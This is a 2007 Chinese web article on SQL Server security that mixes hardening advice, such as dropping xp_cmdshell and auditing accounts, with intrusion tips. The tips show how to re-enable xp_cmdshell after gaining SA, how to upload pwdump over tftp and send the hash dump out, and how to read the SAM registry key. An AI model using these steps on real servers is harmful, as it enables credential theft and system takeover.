科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道从IIS到SQL Server数据库安全(2)

从IIS到SQL Server数据库安全(2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

从Codered到Nimda等,一大堆蠕虫把原来需要人工利用的漏洞都变成了程序自动利用了,大家还想去手工操作这些IIS漏洞么?让我们调整重心,去看看服务器常用的数据库吧。

作者:奔跑的泥鳅 来源:赛迪网技术社区 2007年8月29日

关键字: IIS SQL Server SQL Server 各版本 数据库

  • 评论
  • 分享微博
  • 分享邮件

当我们获得数据库的sa管理员账号后,就应该可以完全控制这个机器了。可见数据库安全的重要性。

下面这些存储过程都是对Public可以执行的:

xp_fileexist,用来确定一个文件是否存在。

xp_getfiledetails,可以获得文件详细资料。

xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。

Xp_getnetname,可以获得服务器名称。

还有可以操作注册表的存储过程,这些不是对Public可以执行的,需要系统管理员或者授权执行:

Xp_regaddmultistring 
Xp_regdeletekey 
Xp_regdeletevalue 
Xp_regenumvalues 
Xp_regread (对Public可以执行) 
Xp_regremovemultistring 
Xp_regwrite

SQL Server的安全配置

除跟着微软打满所有补丁外,还需要加强数据库的安全。

首先,你需要加强象sa这样的账号的密码,跟系统账号的使用配置相似,一般操作数据库不要使用像“sa”这样的最高权限的账号,而使用能满足你的要求的一般账号。

接着对扩展存储过程开始大屠杀,首先就是xp_cmdshell,还有就是上面那些一大堆存储过程,都drop吧,一般也用不着。

执行:

use master 
sp_dropextendedproc 'xp_cmdshell'

去掉guest账号,阻止非授权用户访问。去掉不必要的网络协议。

加强对数据库登陆的日志记录,最好记录所有登陆事件。可以用下面的简单DOS命令来查看日志:

findstr /C:"登录" d:\Microsoft SQL Server\MSSQL\LOG\*.*

用管理员账号定期检查所有账号,是否密码为空或者过于简单,比如下面的语句:

Use master 
Select name,Password from syslogins where password is null

用下面语句对所有账号,检查对存储过程和扩展存储过程的执行权,提防不必要的执行权限扩散:

Use master 
Select sysobjects.name From sysobjects, sysprotects 
Where sysprotects.uid = 0 AND xtype IN ('X','P') A
ND sysobjects.id = sysprotects.id

加强数据库的安全是非常重要的,有的数据库服务器是和WEB服务器隔离开的,这就同MAIL服务器一样,数据库的日志可能就基本很少去查看,这将会成为管理员的一个疏忽点。类似DNS、MAIL等等,数据库服务器往往成为各种入侵的跳板。

解决数据库的问题和技巧:

1、获得SA权限后,却不能执行xp_cmdshell存储过程怎么办?

答:可能是已经把xp_cmdshell等扩展存储过程删除了,可以用这个存储过程把xp_cmdshell恢复sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'。

2、通过数据库用pwdump获得系统管理员密码:

先上传一个pwdump:

tftp -i GET pwdump3.exe pwdump3.exe 
tftp -i GET lsaext.dll lsaext.dll 
tftp -i GET pwservice.exe pwservice.exe 
pwdump3 127.0.0.1 outfile.txt 
tftp PUT outfile.txt outfile.txt

然后再用解密工具l0pht等等破解这些密码。

3、从数据库读取系统管理员密码:

能读出加密的密码是NT的“administrator”账号也不能做的,SQL Server能读出来是使用的“LocalSystem”账号,这个账号比administrator更高一级。可以使用下面这个存储过程。不过读出来的密码是经过加密后的,然后再解密:

xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account','F'
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章